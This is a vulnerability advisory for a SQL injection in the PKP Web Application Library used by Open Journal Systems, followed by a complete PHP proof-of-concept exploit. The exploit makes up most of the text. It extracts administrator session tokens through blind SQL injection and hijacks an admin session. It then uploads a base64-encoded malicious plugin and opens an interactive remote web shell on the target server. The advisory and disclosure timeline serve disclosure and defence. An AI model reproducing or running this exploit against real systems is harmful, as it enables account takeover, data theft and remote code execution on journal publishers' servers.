📄 PKP-WAL 3.5.0-1 SQL Injection

----------------------------------------------------------------------
    PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
    ----------------------------------------------------------------------
    
    
    [-] Software Links:
    
    https://pkp.sfu.ca
    https://github.com/pkp/pkp-lib
    
    
    [-] Affected Versions:
    
    PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9
    and prior versions, and version 3.5.0-1 and prior versions, as used in
    Open Journal Systems (OJS), Open Monograph Press (OMP), and Open
    Preprint Systems (OPS).
    
    
    [-] Vulnerability Description:
    
    The vulnerability is located in the /classes/institution/Collector.php
    script. Specifically, into the Collector::getQueryBuilder() method,
    where user input passed through the "searchPhrase" GET parameter is
    not properly sanitized before being used to construct a SQL query at
    lines 143 and 148 by leveraging the DB::raw() method. This can be
    exploited by malicious users to e.g. read sensitive data from the
    database through boolean-based or time-based SQL Injection attacks.
    
    Successful exploitation of this vulnerability requires an account with
    permissions to access the .../api/v1/institutions API endpoint, such
    as a "Journal Editor" or "Production Editor" user account on OJS.
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2025-67889.php
    
    
    [-] Solution:
    
    Upgrade to versions 3.4.0-10, 3.5.0-2, or later.
    
    
    [-] Disclosure Timeline:
    
    [25/10/2025] - Vendor notified
    [26/10/2025] - Vendor fixed the issue and opened a public GitHub
    issue: https://github.com/pkp/pkp-lib/issues/11977
    [12/11/2025] - CVE identifier requested
    [18/11/2025] - Version 3.4.0-10 released
    [12/12/2025] - CVE identifier assigned
    [29/11/2025] - Version 3.5.0-2 released
    [23/12/2025] - Publication of this advisory
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has
    assigned the name CVE-2025-67889 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-10
    
    
    
    --- packet storm added poc ---
    
    <?php
    
    /*
        ----------------------------------------------------------------------
        PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
        ----------------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://github.com/pkp/pkp-lib
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2025-10
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
    
    function sql_injection($sql)
    {
        global $ch, $url;
    
        curl_setopt($ch, CURLOPT_POST, false);
        
        $sql = str_replace(" ", "/**/", $sql);
        $min = true;
        $idx = 1;
    
        while (1)
        {
            $test = 256;
    
            for ($i = 7; $i >= 0; $i--)
            {
                $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
                $sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#");
                curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}");
                $min = preg_match("/Internal Server Error/i", curl_exec($ch));
            }
    
            if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break;
            $data .= chr($chr); $min = true; $idx++;
            print "\r[*] Token: {$data}";
        }
    
        return $data;
    }
    
    $url = $argv[1];
    $usr = $argv[2];
    $pwd = $argv[3];
    $ch  = curl_init();
    
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn");
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd]));
    
    $login = curl_exec($ch);
    
    if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n");
    if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n");
    
    $sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0];
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]);
    
    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml');
    curl_setopt($ch2, CURLOPT_HEADER, true);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    print "[+] Checking app version\n";
    
    if (preg_match('/<tag>3_5_0/', curl_exec($ch2)))
    {
    	print "[-] Version is 3.5.0.x\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions";
    }
    else
    {
    	print "[-] Version is < 3.5.0\n";
    	$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions";
    }
    
    print "[+] Checking admin session tokens\n";
    
    $index = 0;
    $found = false;
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin');
    	
    while (!$found)
    {
    	print "\n[+] Fetching token number ".($index+1)."\n";
    
    	$sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1");
    	
    	if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n");
    
    	curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]);
    
    	if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true;
    	else { print "\n[+] Not a valid token\n"; $index++; }
    }
    
    print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n";
    
    $pluginName = "backup-v2_0_5-0.tar.gz";
    @file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA=="));
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]);
    
    if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n");
    
    print "[+] Saving malicious plugin\n";
    
    curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload');
    curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]]));
    
    if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n");
    
    print "[+] Launching shell\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php");
    curl_setopt($ch, CURLOPT_POST, false);
    
    while(1)
    {
    	print "\npkp-shell# ";
    	if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
    	preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    }